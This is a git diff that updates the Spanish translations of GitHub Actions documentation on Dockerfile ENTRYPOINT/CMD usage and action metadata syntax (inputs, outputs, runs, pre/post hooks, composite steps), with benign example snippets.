+La instrucción `ENTRYPOINT` de Docker tiene una forma de _shell_ y una de _exec_. La documentación de `ENTRYPOINT` de Docker recomienda utilizar la forma de _exec_ de la instrucción `ENTRYPOINT`. Para obtener más información acerca de las formas _exec_ y _shell_, consulta la sección [ENTRYPOINT reference](https://docs.docker.com/engine/reference/builder/#entrypoint) en la documentación de Docker.
 
-If you configure your container to use the _exec_ form of the `ENTRYPOINT` instruction, the `args` configured in the action's metadata file won't run in a command shell. If the action's `args` contain an environment variable, the variable will not be substituted. For example, using the following _exec_ format will not print the value stored in `$GITHUB_SHA`, but will instead print `"$GITHUB_SHA"`.
+Si configuras tu contenedor para que utilice la forma _exec_ de la instrucción `ENTRYPOINT`, entonces el `args` configurado en el archivo de metadatos de la acción no se ejecutará en un shell de comandos. Si el `args` de la accion contiene una variable de ambiente, ésta no se sustituirá. Por ejemplo, utilizar el siguiente formato _exec_ no imprimirá los valores almacenados en `$GITHUB_SHA`, si no que imprimirá `"$GITHUB_SHA"`.
 
 ```dockerfile
 ENTRYPOINT ["echo $GITHUB_SHA"]
 ```
 
- If you want variable substitution, then either use the _shell_ form or execute a shell directly. For example, using the following _exec_ format, you can execute a shell to print the value stored in the `GITHUB_SHA` environment variable.
+ Si quieres la sustitución de variables, entonces puedes utilizar la forma _shell_ o ejecutar el shell directamente. Por ejemplo, al utilizar el siguiente formato _exec_ puedes ejecutar un shell para imprimir el valor almacenado en la variable de ambiente `GITHUB_SHA`.
 
 ```dockerfile
 ENTRYPOINT ["sh", "-c", "echo $GITHUB_SHA"]
 ```
 
- To supply `args` defined in the action's metadata file to a Docker container that uses the _exec_ form in the `ENTRYPOINT`, we recommend creating a shell script called `entrypoint.sh` that you call from the `ENTRYPOINT` instruction:
+ Para proporcionar el `args` que se definió en el archivo de metadatos de la acción en un contenedor de Docker que utiliza la forma _exec_ en el `ENTRYPOINT`, recomendamos crear un script de shell llamado `entrypoint.sh` al que puedas llamar desde la instrucción `ENTRYPOINT`:
 
-#### Example *Dockerfile*
+#### *Dockerfile* de ejemplo
 
 ```dockerfile
 # Container image that runs your code
@@ -74,9 +74,9 @@ COPY entrypoint.sh /entrypoint.sh
 ENTRYPOINT ["/entrypoint.sh"]
 ```
 
-#### Example *entrypoint.sh* file
+#### Archivo *entrypoint.sh* de ejemplo
 
-Using the example Dockerfile above, {% data variables.product.product_name %} will send the `args` configured in the action's metadata file as arguments to `entrypoint.sh`. Add the `#!/bin/sh` [shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) at the top of the `entrypoint.sh` file to explicitly use the system's [POSIX](https://en.wikipedia.org/wiki/POSIX)-compliant shell.
+Al utilizar el Dockerfile de ejemplo que se muestra anteriormente, {% data variables.product.product_name %} enviará el `args` configurado en el archivo de metadatos de la acción como un argumento de `entrypoint.sh`. Agrega el `#!/bin/sh` [shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) hasta arriba del archivo `entrypoint.sh` para utilizar explicitamente el shell compilante [POSIX](https://en.wikipedia.org/wiki/POSIX) del sistema.
 
 ``` sh
 #!/bin/sh
@@ -86,12 +86,12 @@ Using the example Dockerfile above, {% data variables.product.product_name %} wi
 sh -c "echo $*"
 ```
 
-Your code must be executable. Make sure the `entrypoint.sh` file has `execute` permissions before using it in a workflow. You can modify the permission from your terminal using this command:
+Tu código debe ser ejecutable. Asegúrate que el archivo `entrypoint.sh` tiene permisos de `execute` antes de utilizarlo en un flujo de trabajo. Puedes modificar los permisos de tu terminal si utilizas este comando:
   ``` sh
   chmod +x entrypoint.sh
   ```
 
-When an `ENTRYPOINT` shell script is not executable, you'll receive an error similar to this:
+Cuando un script de shell de `ENTRYPOINT` no es ejecutable, recibirás un error similar al siguiente:
 
 ``` sh
 Error response from daemon: OCI runtime create failed: container_linux.go:348: starting container process caused "exec: \"/entrypoint.sh\": permission denied": unknown
@@ -99,12 +99,12 @@ Error response from daemon: OCI runtime create failed: container_linux.go:348: s
 
 ### CMD
 
-If you define `args` in the action's metadata file, `args` will override the `CMD` instruction specified in the `Dockerfile`. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#runsargs)".
+Si defines el `args` en el archivo de metadatos de la acción, `args` invalidará la instrucción `CMD` especificada en el `Dockerfile`. Para obtener más información, consulta la sección "[Sintaxis de metadatos para {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#runsargs)".
 
-If you use `CMD` in your `Dockerfile`, follow these guidelines:
+Si utilizas `CMD` en tu `Dockerfile`, sigue estos lineamientos:
 
 {% data reusables.github-actions.dockerfile-guidelines %}
 
-## Supported Linux capabilities
+## Capacidades de Linux compatibles
 
-{% data variables.product.prodname_actions %} supports the default Linux capabilities that Docker supports. Capabilities can't be added or removed. For more information about the default Linux capabilities that Docker supports, see "[Runtime privilege and Linux capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities)" in the Docker documentation. To learn more about Linux capabilities, see "[Overview of Linux capabilities](http://man7.org/linux/man-pages/man7/capabilities.7.html)" in the Linux man-pages.
+{% data variables.product.prodname_actions %} es compatible con las capacidades predeterminadas de Linux que acepta Docker. Estas capacidades no se pueden añadir ni eliminar. Para obtener más información acerca de las capacidades predeterminadas de Linux con las cuales es compatible Docker, consulta "[Runtime priovilege and Linux capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities)" en la documentación de Docker. Para conocer más acerca de las capacidades de Linux, consulta "[Overview of Linux capabilities](http://man7.org/linux/man-pages/man7/capabilities.7.html) en las páginas man de Linux.
diff --git a/translations/es-ES/content/actions/creating-actions/index.md b/translations/es-ES/content/actions/creating-actions/index.md
index 7ed06229d7..e74a204497 100644
--- a/translations/es-ES/content/actions/creating-actions/index.md
+++ b/translations/es-ES/content/actions/creating-actions/index.md
@@ -1,12 +1,12 @@
 ---
-title: Creating actions
-intro: 'You can create your own actions, use and customize actions shared by the {% data variables.product.prodname_dotcom %} community, or write and share the actions you build.'
+title: Crear acciones
+intro: 'Puedes crear tus propias acciones, usar y personalizar acciones compartidas por la comunidad {% data variables.product.prodname_dotcom %} o escribir y compartir las acciones que construyes.'
 redirect_from:
   - /articles/building-actions
   - /github/automating-your-workflow-with-github-actions/building-actions
   - /actions/automating-your-workflow-with-github-actions/building-actions
   - /actions/building-actions
-  - /articles/creating-a-github-action/
+  - /articles/creating-a-github-action
 versions:
   fpt: '*'
   ghes: '*'
@@ -24,5 +24,6 @@ children:
   - /releasing-and-maintaining-actions
   - /developing-a-third-party-cli-action
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/es-ES/content/actions/creating-actions/metadata-syntax-for-github-actions.md b/translations/es-ES/content/actions/creating-actions/metadata-syntax-for-github-actions.md
index 4e9757aec3..0bc20437a8 100644
--- a/translations/es-ES/content/actions/creating-actions/metadata-syntax-for-github-actions.md
+++ b/translations/es-ES/content/actions/creating-actions/metadata-syntax-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Metadata syntax for GitHub Actions
-shortTitle: Metadata syntax
-intro: You can create actions to perform tasks in your repository. Actions require a metadata file that uses YAML syntax.
+title: Sintaxis de metadatos para acciones de GitHub
+shortTitle: Sintaxis de metadatos
+intro: Puedes crear acciones para realizar tareas en tu repositorio. Las acciones requieren un archivo de metadatos que use la sintaxis YAML.
 redirect_from:
   - /articles/metadata-syntax-for-github-actions
   - /github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions
@@ -18,31 +18,31 @@ type: reference
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About YAML syntax for {% data variables.product.prodname_actions %}
+## Acerca de la nueva sintaxis YAML para {% data variables.product.prodname_actions %}
 
-Docker and JavaScript actions require a metadata file. The metadata filename must be either `action.yml` or `action.yaml`. The data in the metadata file defines the inputs, outputs and main entrypoint for your action.
+Las acciones Docker y JavaScript requieren un archivo de metadatos. El nombre del archivo de metadatos debe ser `action.yml` o `action.yaml`. Los datos del archivo de metadatos definen las entradas, las salidas y el punto de entrada principal para tu acción.
 
-Action metadata files use YAML syntax. If you're new to YAML, you can read "[Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)."
+Los archivos de metadatos de acción usan la sintaxis YAML. Si eres nuevo en YAML, puedes leer "[Aprender YAML en cinco minutos](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)".
 
-## `name`
+## `name (nombre)`
 
-**Required** The name of your action. {% data variables.product.prodname_dotcom %} displays the `name` in the **Actions** tab to help visually identify actions in each job.
+**Requerido** El nombre de tu acción. {% data variables.product.prodname_dotcom %} muestra el `name` (nombre) en la pestaña **Actions** (Acciones) para ayudarte a identificar visualmente las acciones en cada trabajo.
 
-## `author`
+## `autor`
 
-**Optional** The name of the action's author.
+**Opcional** El nombre del autor de las acciones.
 
-## `description`
+## `descripción`
 
-**Required** A short description of the action.
+**Requerido** Una descripción breve de la acción.
 
-## `inputs`
+## `inputs (entrada)`
 
-**Optional** Input parameters allow you to specify data that the action expects to use during runtime. {% data variables.product.prodname_dotcom %} stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids.
+**Opcional** Los parámetros de entrada te permiten especificar datos que la acción espera para usar durante el tiempo de ejecución. {% data variables.product.prodname_dotcom %} almacena parámetros de entrada como variables de entorno. Las Id de entrada con letras mayúsculas se convierten a minúsculas durante el tiempo de ejecución. Recomendamos usar Id de entrada en minúsculas.
 
-### Example
+### Ejemplo
 
-This example configures two inputs: numOctocats and octocatEyeColor. The numOctocats input is not required and will default to a value of '1'. The octocatEyeColor input is required and has no default value. Workflow files that use this action must use the `with` keyword to set an input value for octocatEyeColor. For more information about the `with` syntax, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith)."
+Este ejemplo configura dos entradas: numOctocats y octocatEyeColor. La entrada numOctocats no se requiere y se predeterminará a un valor de '1'. Se requiere la entrada octocatEyeColor y no tiene un valor predeterminado. Los archivos de flujo de trabajo que usan esta acción deben usar la palabra clave `with` (con) para establecer un valor de entrada para octocatEyeColor. Para obtener información sobre la sintaxis `with` (con), consulta "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepswith)".
 
 ```yaml
 inputs:
@@ -55,41 +55,41 @@ inputs:
     required: true
 ```
 
-When you specify an input in a workflow file or use a default input value, {% data variables.product.prodname_dotcom %} creates an environment variable for the input with the name `INPUT_<VARIABLE_NAME>`. The environment variable created converts input names to uppercase letters and replaces spaces with `_` characters.
+Cuando especificas una entrada en un archivo de flujo de trabajo o usas un valor de entrada predeterminado, {% data variables.product.prodname_dotcom %} crea una variable de entorno para la entrada con el nombre `INPUT_<VARIABLE_NAME>`. La variable de entorno creada convierte los nombre de entrada en letras mayúscula y reemplaza los espacios con los caracteres `_`.
 
-If the action is written using a [composite](/actions/creating-actions/creating-a-composite-action), then it will not automatically get `INPUT_<VARIABLE_NAME>`. If the conversion doesn't occur, you can change these inputs manually. 
+Si la acción se escribió utilizando pasos de ejecución [compuestos](/actions/creating-actions/creating-a-composite-action), entonces no obtendrá automáticamente una `INPUT_<VARIABLE_NAME>`. Si la conversión no ocurre, puedes cambiar estas entradas manualmente.
 
-To access the environment variable in a Docker container action, you must pass the input using the `args` keyword in the action metadata file. For more information about the action metadata file for Docker container actions, see "[Creating a Docker container action](/articles/creating-a-docker-container-action#creating-an-action-metadata-file)."
+Para acceder a la variable de ambiente en una acción de contenedor de Docker, debes pasar la entrada utilizando la palabra clave `args` en el archivo de metadatos de la acción. Para obtener más información sobre el archivo de metadatos de la acción para las acciones de contenedor de Docker, consulta la sección "[Crear una acción de contenedor de Docker](/articles/creating-a-docker-container-action#creating-an-action-metadata-file)".
 
-For example, if a workflow defined the `numOctocats` and `octocatEyeColor` inputs, the action code could read the values of the inputs using the `INPUT_NUMOCTOCATS` and `INPUT_OCTOCATEYECOLOR` environment variables.
+Por ejemplo, si un flujo de trabajo definió las entradas de `numOctocats` y `octocatEyeColor`, el código de acción pudo leer los valores de las entradas utilizando las variables de ambiente `INPUT_NUMOCTOCATS` y `INPUT_OCTOCATEYECOLOR`.
 
 ### `inputs.<input_id>`
 
-**Required** A `string` identifier to associate with the input. The value of `<input_id>` is a map of the input's metadata. The `<input_id>` must be a unique identifier within the `inputs` object. The `<input_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+**Requerido** Un identificador `string` (cadena) para asociar con la entrada. El valor de `<input_id>` es un mapa con los metadatos de la entrada. `<input_id>` debe ser un identificador único dentro del objeto `inputs` (entradas). El `<input_id>`> debe comenzar con una letra o `_` y debe contener solo caracteres alfanuméricos, `-`, o `_`.
 
 ### `inputs.<input_id>.description`
 
-**Required** A `string` description of the input parameter.
+**Requerido** Una descripción de `string` del parámetro de entrada.
 
 ### `inputs.<input_id>.required`
 
-**Required** A `boolean` to indicate whether the action requires the input parameter. Set to `true` when the parameter is required.
+**Requerido** Un `boolean` (booleano) para indicar si la acción requiere el parámetro de entrada. Establecer en `true` cuando se requiera el parámetro.
 
 ### `inputs.<input_id>.default`
 
-**Optional** A `string` representing the default value. The default value is used when an input parameter isn't specified in a workflow file.
+**Opcional** Una `string` que representa el valor predeterminado. El valor predeterminado se usa cuando un parámetro de entrada no se especifica en un archivo de flujo de trabajo.
 
 ### `inputs.<input_id>.deprecationMessage`
 
-**Optional** If the input parameter is used, this `string` is logged as a warning message. You can use this warning to notify users that the input is deprecated and mention any alternatives.
+**Opcional** Si se utiliza el parámetro de entrada, esta `string` se registrará como un mensaje de advertencia. Puedes utilizar esta advertencia para notificar a los usuarios que la entrada es obsoleta y mencionar cualquier alternativa.
 
-## `outputs`
+## `outputs (salidas)`
 
-**Optional** Output parameters allow you to declare data that an action sets. Actions that run later in a workflow can use the output data set in previously run actions.  For example, if you had an action that performed the addition of two inputs (x + y = z), the action could output the sum (z) for other actions to use as an input.
+**Opcional** Los parámetros de salida te permiten declarar datos que una acción establece. Las acciones que se ejecutan más tarde en un flujo de trabajo pueden usar el conjunto de datos de salida en acciones de ejecución anterior.  Por ejemplo, si tuviste una acción que realizó la adición de dos entradas (x + y = z), la acción podría dar como resultado la suma (z) para que otras acciones la usen como entrada.
 
-If you don't declare an output in your action metadata file, you can still set outputs and use them in a workflow. For more information on setting outputs in an action, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter)."
+Si no declaras una salida en tu archivo de metadatos de acción, todavía puedes configurar las salidas y utilizarlas en un flujo de trabajo. Para obtener más información acerca de la configuración de salidas en una acción, consulta "[Comandos de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter)".
 
-### Example
+### Ejemplo
 
 ```yaml
 outputs:
@@ -99,17 +99,17 @@ outputs:
 
 ### `outputs.<output_id>`
 
-**Required** A `string` identifier to associate with the output. The value of `<output_id>` is a map of the output's metadata. The `<output_id>` must be a unique identifier within the `outputs` object. The `<output_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+**Requerido** Un identificador `string` para asociar con la salida. El valor de `<output_id>` es un mapa con los metadatos de la salida. `<output_id>` debe ser un identificador único dentro del objeto `outputs` (salidas). El `<output_id>`> debe comenzar con una letra o `_` y debe contener solo caracteres alfanuméricos, `-`, o `_`.
 
 ### `outputs.<output_id>.description`
 
-**Required** A `string` description of the output parameter.
+**Requerido** Una descripción de `string` del parámetro de salida.
 
-## `outputs` for composite actions
+## `outputs` para las acciones compuestas
 
-**Optional** `outputs` use the same parameters as `outputs.<output_id>` and `outputs.<output_id>.description` (see "[`outputs` for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#outputs)"), but also includes the `value` token.
+Los `outputs` **Opcionales** utilizan los mismos parámetros que los `outputs.<output_id>` and los `outputs.<output_id>.description` (consulta la sección "[`outputs` para {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#outputs)"), pero también incluyen el token de `value`.
 
-### Example
+### Ejemplo
 
 {% raw %}
 ```yaml
@@ -128,46 +128,46 @@ runs:
 
 ### `outputs.<output_id>.value`
 
-**Required** The value that the output parameter will be mapped to. You can set this to a `string` or an expression with context. For example, you can use the `steps` context to set the `value` of an output to the output value of a step.
+**Requerido** El valor al cual se mapeará el parámetro de salida. Puedes configurarlo a una `string` o a una expresión con contexto. Por ejemplo, puedes utilizar el contexto `steps` para configurar el `value` de una salida al valor de salida de un paso.
 
-For more information on how to use context syntax, see "[Contexts](/actions/learn-github-actions/contexts)."
+Para obtener más información sobre cómo utilizar la sintaxis de contexto, consulta la sección de "[Contextos](/actions/learn-github-actions/contexts)"
 
 ## `runs`
 
-**Required** Specifies whether this is a JavaScript action, a composite action or a Docker action and how the action is executed.
+**Requerido** Especifica si esta es una acción de JavaScript, una acción compuesta o una acción de Docker y cómo se ejecuta dicha acción.
 
-## `runs` for JavaScript actions
+## `runs` para acciones de JavaScript
 
-**Required** Configures the path to the action's code and the runtime used to execute the code.
+**Requerido** Configura la ruta al código de la acción y el tiempo de ejecución que se utiliza para ejecutarlo.
 
-### Example using Node.js v12
+### Ejemplo de uso con Node.js {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}v16{% else %}v12{% endif %}
 
 ```yaml
 runs:
-  using: 'node12'
+  using: {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}'node16'{% else %}'node12'{% endif %}
   main: 'main.js'
 ```
 
 ### `runs.using`
 
-**Required** The runtime used to execute the code specified in [`main`](#runsmain).  
+**Requerido** El tiempo de ejecución para ejecutar el código especificado en [`main`](#runsmain).
 
-- Use `node12` for Node.js v12.
-- Use `node16` for Node.js v16.
+- Utiliza `node12` para Node.js v12.{% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}
+- Utiliza `node16` para Node.js v16.{% endif %}
 
 ### `runs.main`
 
-**Required** The file that contains your action code. The runtime specified in [`using`](#runsusing) executes this file.
+**Requerido** El archivo que contiene tu código de acción. El tiempo de ejecución que se especifica en [`using`](#runsusing) ejecuta este archivo.
 
 ### `pre`
 
-**Optional** Allows you to run a script at the start of a job, before the `main:` action begins. For example, you can use `pre:` to run a prerequisite setup script. The runtime specified with the [`using`](#runsusing) syntax will execute this file. The `pre:` action always runs by default but you can override this using [`pre-if`](#pre-if).
+**Opcional** Te permite ejecutar un script al inicio de un job, antes de que la acción `main:` comience. Por ejemplo, puedes utilizar `pre:` para ejecutar un script de configuración de pre-requisitos. El tiempo de ejecución que ese especifica con la sintaxis de [`using`](#runsusing) ejecutará este archivo. La acción `pre:` siempre se ejecuta predeterminadamente pero puedes invalidarla utilizando [`pre-if`](#pre-if).
 
-In this example, the `pre:` action runs a script called `setup.js`:
+En este ejemplo, la acción `pre:` ejecuta un script llamado `setup.js`:
 
 ```yaml
 runs:
-  using: 'node12'
+  using: {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}'node16'{% else %}'node12'{% endif %}
   pre: 'setup.js'
   main: 'index.js'
   post: 'cleanup.js'
@@ -175,64 +175,65 @@ runs:
 
 ### `pre-if`
 
-**Optional** Allows you to define conditions for the `pre:` action execution. The `pre:` action will only run if the conditions in `pre-if` are met. If not set, then `pre-if` defaults to `always()`.
-Note that the `step` context is unavailable, as no steps have run yet.
+**Opcional** Te permite definir las condiciones para la ejecución de la acción `pre:`. La acción `pre:` únicamente se ejecutará si se cumplen las condiciones en `pre-if`. Si no se configura, `pre-if` se configurará predefinidamente como `always()`. En `pre-if`, las funciones de verificación de estado evalúan contra el estado del job y no contra el estado de la propia acción.
 
-In this example, `cleanup.js` only runs on Linux-based runners:
+Nota que el contexto `step` no está disponible, ya que no se ha ejecutado ningún paso todavía.
+
+En este ejemplo, `cleanup.js` se ejecuta únicamente en los ejecutores basados en linux:
 
 ```yaml
   pre: 'cleanup.js'
   pre-if: runner.os == 'linux'
 ```
 
-### `post`
+### `publicación`
 
-**Optional** Allows you to run a script at the end of a job, once the `main:` action has completed. For example, you can use `post:` to terminate certain processes or remove unneeded files. The runtime specified with the [`using`](#runsusing) syntax will execute this file.
+**Opcional** Te permite ejecutar un script al final de un job, una vez que se haya completado la acción `main:`. Por ejemplo, puedes utilizar `post:` para finalizar algunos procesos o eliminar los archivos innecesarios. El tiempo de ejecución que ese especifica con la sintaxis de [`using`](#runsusing) ejecutará este archivo.
 
-In this example, the `post:` action runs a script called `cleanup.js`:
+En este ejemplo, la acción `post:` ejecuta un script llamado `cleanup.js`:
 
 ```yaml
 runs:
-  using: 'node12'
+  using: {% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}'node16'{% else %}'node12'{% endif %}
   main: 'index.js'
   post: 'cleanup.js'
 ```
 
-The `post:` action always runs by default but you can override this using `post-if`.
+La acción `post:` siempre se ejecuta predeterminadamente, pero la puedes invalidar utilizando `post-if`.
 
 ### `post-if`
 
-**Optional** Allows you to define conditions for the `post:` action execution. The `post:` action will only run if the conditions in `post-if` are met. If not set, then `post-if` defaults to `always()`.
+**Opcional** Te permite definir condiciones para la ejecución de la acción `post:`. La acción `post` únicamente se ejecutará si se cumplen las condiciones en `post-if`. Si no se configura, `pre-if` se configurará predeterminadamente como `always()`. En `post-if`, las funciones de verificación de estado evalúan contra el estado del job y no contra el estado de la propia acción.
 
-For example, this `cleanup.js` will only run on Linux-based runners:
+Por ejemplo, este `cleanup.js` únicamente se ejecutará en ejecutores basados en Linux:
 
 ```yaml
   post: 'cleanup.js'
   post-if: runner.os == 'linux'
 ```
 
-## `runs` for composite actions
+## `runs` para las acciones compuestas
 
-**Required** Configures the path to the composite action.
+**Requerido** Configura la ruta a la acción compuesta.
 
 ### `runs.using`
 
-**Required** You must set this value to `'composite'`.
+**Requerido** Debes configurar este valor en `'composite'`.
 
 ### `runs.steps`
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
-**Required** The steps that you plan to run in this action. These can be either `run` steps or `uses` steps.
+**Requerido** Los pasos que planeas ejecutar en esta acción. Estos pueden ser ya sea pasos de `run` o de `uses`.
 {% else %}
-**Required** The steps that you plan to run in this action.
+**Requerido** Los pasos que planeas ejecutar en esta acción.
 {% endif %}
 
 #### `runs.steps[*].run`
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
-**Optional** The command you want to run. This can be inline or a script in your action repository:
+**Opcional** El comando que quieres ejecutar. Este puede estar dentro de la línea o ser un script en tu repositorio de la acción:
 {% else %}
-**Required** The command you want to run. This can be inline or a script in your action repository:
+**Requerido** El comando que quieres ejecutar. Este puede estar dentro de la línea o ser un script en tu repositorio de la acción:
 {% endif %}
 
 {% raw %}
@@ -245,7 +246,7 @@ runs:
 ```
 {% endraw %}
 
-Alternatively, you can use `$GITHUB_ACTION_PATH`:
+Como alternativa, puedes utilizar `$GITHUB_ACTION_PATH`:
 
 ```yaml
 runs:
@@ -255,43 +256,72 @@ runs:
       shell: bash
 ```
 
-For more information, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
+Para obtener más información, consulta la sección "[``](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
 
 #### `runs.steps[*].shell`
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
-**Optional** The shell where you want to run the command. You can use any of the shells listed [here](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Required if `run` is set.
+**Opcional** El shell en donde quieres ejecutar el comando. Puedes utilizar cualquiera de los shells listados [aquí](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Requerido si se configuró `run`.
 {% else %}
-**Required** The shell where you want to run the command. You can use any of the shells listed [here](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Required if `run` is set.
+**Requerido** El shell en donde quieres ejecutar el comando. Puedes utilizar cualquiera de los shells listados [aquí](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Requerido si se configuró `run`.
 {% endif %}
 
+#### `runs.steps[*].if`
+
+**Opcional** Puedes utilizar el condicional `if` para prevenir que un paso se ejecute a menos de que se cumpla con una condición. Puedes usar cualquier contexto y expresión admitidos para crear un condicional.
+
+{% data reusables.github-actions.expression-syntax-if %} Para obtener más información, consulta la sección "[Expresiones](/actions/learn-github-actions/expressions)".
+
+**Ejemplo: Utilizando contextos**
+
+ Este paso solo se ejecuta cuando el tipo de evento es una `pull_request` y la acción del evento está `unassigned` (sin asignar).
+
+ ```yaml
+steps:
+  - run: echo This event is a pull request that had an assignee removed.
+    if: {% raw %}${{ github.event_name == 'pull_request' && github.event.action == 'unassigned' }}{% endraw %}
+```
+
+**Ejemplo: Utilizando funciones de verificación de estado**
+
+`my backup step` solo se ejecutará cuando falle el paso previo de una acción compuesta. Para obtener más información, consulta la sección "[Expresiones](/actions/learn-github-actions/expressions#job-status-check-functions)".
+
+```yaml
+steps:
+  - name: My first step
+    uses: octo-org/action-name@main
+  - name: My backup step
+    if: {% raw %}${{ failure() }}{% endraw %}
+    uses: actions/heroku@1.0.0
+```
+
 #### `runs.steps[*].name`
 
-**Optional** The name of the composite step.
+**Opcional** El nombre del paso compuesto.
 
 #### `runs.steps[*].id`
 
-**Optional** A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+**Opcional** Un identificador único para el paso. Puede usar el `id` para hacer referencia al paso en contextos. Para obtener más información, consulta "[Contextos](/actions/learn-github-actions/contexts)".
 
 #### `runs.steps[*].env`
 
-**Optional**  Sets a `map` of environment variables for only that step. If you want to modify the environment variable stored in the workflow, use `echo "{name}={value}" >> $GITHUB_ENV` in a composite step.
+**Opcional**  Configura un `map` de variables de ambiente únicamente para este paso. Si quieres modificar la variable de ambiente almacenada en el flujo de trabajo, utiliza `echo "{name}={value}" >> $GITHUB_ENV` en un paso compuesto.
 
 #### `runs.steps[*].working-directory`
 
-**Optional**  Specifies the working directory where the command is run.
+**Opcional**  Especifica el directorio de trabajo en donde se ejecuta un comando.
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
 #### `runs.steps[*].uses`
 
-**Optional**  Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/).
+**Opcional**  Selecciona una acción a ejecutar como parte de un paso en tu job. Una acción es una unidad de código reutilizable. Puedes usar una acción definida en el mismo repositorio que el flujo de trabajo, un repositorio público o en una [imagen del contenedor Docker publicada](https://hub.docker.com/).
 
-We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.
-- Using the commit SHA of a released action version is the safest for stability and security.
-- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work.
-- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break.
+Te recomendamos encarecidamente que incluyas la versión de la acción que estás utilizando y especifiques un número de etiqueta de Git ref, SHA o Docker. Si no especificas una versión, podrías interrumpir tus flujos de trabajo o provocar un comportamiento inesperado cuando el propietario de la acción publique una actualización.
+- El uso del SHA de confirmación de una versión de acción lanzada es lo más seguro para la estabilidad y la seguridad.
+- Usar la versión de acción principal específica te permite recibir correcciones críticas y parches de seguridad y al mismo tiempo mantener la compatibilidad. También asegura que tu flujo de trabajo aún debería funcionar.
+- Puede ser conveniente utilizar la rama predeterminada de una acciòn, pero si alguien lanza una versiòn principal nueva con un cambio importante, tu flujo de trabajo podrìa fallar.
 
-Some actions require inputs that you must set using the [`with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required.
+Algunas acciones requieren entradas que se deben establecer usando la palabra clave [`with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith). Revisa el archivo README de la acción para determinar las entradas requeridas.
 
 ```yaml
 runs:
@@ -317,7 +347,7 @@ runs:
 
 #### `runs.steps[*].with`
 
-**Optional**  A `map` of the input parameters defined by the action. Each input parameter is a key/value pair.  Input parameters are set as environment variables. The variable is prefixed with INPUT_ and converted to upper case.
+**Opcional**  un `map` de los parámetros de entrada que define la acción. Cada parámetro de entrada es un par clave/valor.  Los parámetros de entrada se establecen como variables del entorno. La variable utiliza el prefijo INPUT_ y se convierte en mayúsculas.
 
 ```yaml
 runs:
@@ -332,11 +362,11 @@ runs:
 ```
 {% endif %}
 
-## `runs` for Docker actions
+## `runs` para acciones de Docker
 
-**Required** Configures the image used for the Docker action.
+**Requerido** Configura la imagen utilizada para la acción de Docker.
 
-### Example using a Dockerfile in your repository
+### Ejemplo utilizando un Dockerfile en tu repositorio
 
 ```yaml
 runs:
@@ -344,7 +374,7 @@ runs:
   image: 'Dockerfile'
 ```
 
-### Example using public Docker registry container
+### Ejemplo usando un contenedor de registro Docker público
 
 ```yaml
 runs:
@@ -354,15 +384,15 @@ runs:
 
 ### `runs.using`
 
-**Required** You must set this value to `'docker'`.
+**Requerido** Debes configurar este valor como `'docker'`.
 
 ### `pre-entrypoint`
 
